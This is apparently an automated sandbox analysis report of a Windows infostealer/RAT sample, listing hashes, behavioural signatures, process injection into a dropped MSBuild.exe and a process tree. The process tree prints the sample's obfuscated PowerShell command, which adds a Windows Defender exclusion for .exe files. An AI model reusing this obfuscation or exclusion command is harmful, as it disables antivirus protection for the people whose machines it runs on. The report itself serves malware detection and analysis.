Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 00:14
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe
Resource
win10v2004-20260513-en
10 signatures
150 seconds
General
- Target 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe
- Size 2.2MB
- Sample260820-ajftescj9w
- SHA256 2332a5e15ee9802122e552226e691c664853983731f94947e57c4762845d275e
- MD5 740f5e1efd6b0d452affb8ebf7370abd
- SHA1 42d381407e3ecc33227b2041d0a43bdeaa18bae9
- SHA512 d53b3168c25296f435167eeec2e19825be7c22c6d1990908bd361bb25db900a788e9db36f7ebacda5c4c56f6045016ac3ff05d99a1145a85583e71fc648db461
- SSDEEP 12288:LgzfLAUYi1LRU3k9KJbR4w1mIHBz/9PPhKKX2E1:kjAe5RU0KZRBJH1pq
- TLSH T152A5CF74FA4416F8E6B7A23CC6455BA5E27774211F32D38B03D803AA2F63B50696FB11
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
pid Process 1420 MSBuild.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3528 set thread context of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94 - System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MSBuild.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1420 MSBuild.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2580 powershell.exe 2580 powershell.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe 1420 MSBuild.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
pid Process 3396 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe - Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2580 powershell.exe Token: SeIncreaseQuotaPrivilege 2580 powershell.exe Token: SeSecurityPrivilege 2580 powershell.exe Token: SeTakeOwnershipPrivilege 2580 powershell.exe Token: SeLoadDriverPrivilege 2580 powershell.exe Token: SeSystemProfilePrivilege 2580 powershell.exe Token: SeSystemtimePrivilege 2580 powershell.exe Token: SeProfSingleProcessPrivilege 2580 powershell.exe Token: SeIncBasePriorityPrivilege 2580 powershell.exe Token: SeCreatePagefilePrivilege 2580 powershell.exe Token: SeBackupPrivilege 2580 powershell.exe Token: SeRestorePrivilege 2580 powershell.exe Token: SeShutdownPrivilege 2580 powershell.exe Token: SeDebugPrivilege 2580 powershell.exe Token: SeSystemEnvironmentPrivilege 2580 powershell.exe Token: SeRemoteShutdownPrivilege 2580 powershell.exe Token: SeUndockPrivilege 2580 powershell.exe Token: SeManageVolumePrivilege 2580 powershell.exe Token: 33 2580 powershell.exe Token: 34 2580 powershell.exe Token: 35 2580 powershell.exe Token: 36 2580 powershell.exe Token: SeDebugPrivilege 1420 MSBuild.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 1420 MSBuild.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3396 wrote to memory of 3528 3396 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 89 PID 3528 wrote to memory of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94 PID 3528 wrote to memory of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94 PID 3528 wrote to memory of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94 PID 3528 wrote to memory of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94 PID 3528 wrote to memory of 1420 3528 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe 94
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe"1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
PID:3396 -
C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exeC:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe STD2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3528 -
C:\Windows\Temp\MSBuild.exe"C:\Windows\Temp\MSBuild.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1420
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function SamSung { [char]$args[0] };$BEZAWI = 10;$GoogleDriveCompany = (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+25)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+60)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+60)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+5)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+37)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+72)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+74)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+62)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+74)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+70)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+59)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61));$MicroSoft = (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+6)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+80)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61));&($GoogleDriveCompany) -ExclusionExtension $MicroSoft -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2580
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3744
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Windows\Temp\MSBuild.exe
- Size 249KB
- SHA256 151d0125c20cdde578d02de3f2a56eb904870a887bb7f1c59bf61471da231916
- MD5 f8e68d6abe411ce0c71d6b8c1c1b9048
- SHA1 77360aa532c299f636f424a2866016ee6bd5c09b
- SHA512 3e6c59395c8c5f07d39db829aa335420ffe426fb9a4ab831cfe1273e803afd5f91912ee341e01b4e108b298349bdeea9e7e52874b05fa1723ebc408be896b650
- SSDEEP 3072:6DEKKwBWmSEoRooC7GvORoQYiY35e8w2XpFU4rwOe+ZbZEFf02RFivFuv4GuhK:UHK2W0u1tvORstRXfM102bicw4
- TLSH T103446A01A7EC4615F6FF1A78B8B015158B76F867E866E35E388C61AC1F73740EA60363
- MD5 SHA1 SHA512 SSDEEP TLSH